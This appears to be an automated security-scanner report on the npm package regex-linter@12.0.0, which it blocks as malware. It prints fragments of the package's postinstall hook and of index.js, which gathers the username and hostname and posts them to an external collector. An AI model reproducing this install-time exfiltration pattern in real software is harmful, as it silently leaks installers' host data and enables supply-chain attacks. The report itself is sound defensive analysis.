registry / Data exfiltration / regex-linter

regex-linter

Core API client library

This report shows the evidence for regex-linter@12.0.0. 2 of 3 known versions are blocked or flagged. See all versions.

AI Security Review

scanned 3d ago · by lpm-firewall-ai

The manifest activates index.js through postinstall, and the source confirms automatic collection and transmission of host identity data to an unrelated external collector. This supports blocking the package for install-time data exfiltration.

Static reason

One or more suspicious static signals were detected.

Trigger

The package postinstall hook runs.

Impact

Host identity data is disclosed to the collector without installer consent.

Mechanism

index.js gathers the username and hostname and sends them in an HTTPS POST request.

Attack narrative

During installation, the postinstall hook runs index.js. The script collects the local username and hostname and sends them to nathanaccacio.com/collect, with no consent gate. This is automatic disclosure of host identity data to an external collector.

AI rationale

Evidence

package.jsonindex.js

Network endpoints1

nathanaccacio.com/collect

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The postinstall hook runs index.js automatically during installation.
index.js collects the username and hostname, then posts that data to an external collector without a consent check.

Evidence against

Behavioral surface

Source

Network

Supply chainNo supply-chain packaging signals triggered.

Manifest

NoLicense

scanned 1 file(s), 445 B of source

Source & flagged code

5 flagged

package.jsonView file

Lines 1-9json

2 "name": "regex-linter",

3 "version": "12.0.0",

4 "description": "Core API client library",

5 "main": "index.js",

6 "scripts": {

7 "postinstall": "node index.js"

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L7

8 }

High

Suspicious Lifecycle Evidence

The postinstall hook runs index.js automatically during installation.

package.jsonView on unpkg · L5

index.jsView file

Lines 1-18javascript

1const https = require('https');

2const os = require('os');

3const data = JSON

Source & flagged code

5 flagged · loading source

package.jsonView file

•scripts.postinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

5"main": "index.js", "scripts": { "postinstall": "node index.js" } }

High

Suspicious Lifecycle Evidence

The postinstall hook runs index.js automatically during installation.

package.jsonView on unpkg · L5

index.jsView file

1const https = require('https'); L2: const os = require('os'); ... L4: p: 'regex-linter', L5: u: os.userInfo().username, L6: h: os.hostname() L7: }); ... L15: req.on('error', () => {}); L16: req.write(data); L17: req.end();

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

index.jsView on unpkg · L1

Findings

5 High1 Medium2 Low

HighInstall Time Lifecycle Scriptspackage.json

HighHost Fingerprint Exfiltrationindex.js

HighSuspicious Lifecycle Evidencepackage.json

HighAi Review Evidenceindex.js

MediumNetwork

LowScripts Present

LowNo License

Affected versions and remediation

This report applies to regex-linter@12.0.0.

The versions list below shows the verdict for each recorded version.

Avoid installing regex-linter@12.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-19 22:24:33.054Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

3 known versions

12.0.0latestshownMaliciousData ExfiltrationBlockPublishedOct 19, 2026, 3:44 PM 5.1.0MaliciousData ExfiltrationBlockPublishedOct 19, 2026, 3:42 PM 0.0.0-stageUnknown—AllowUnder ReviewOct 18, 2026, 1:45 PM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other data exfiltration packages

Source & flagged code

Related packages

Other data exfiltration packages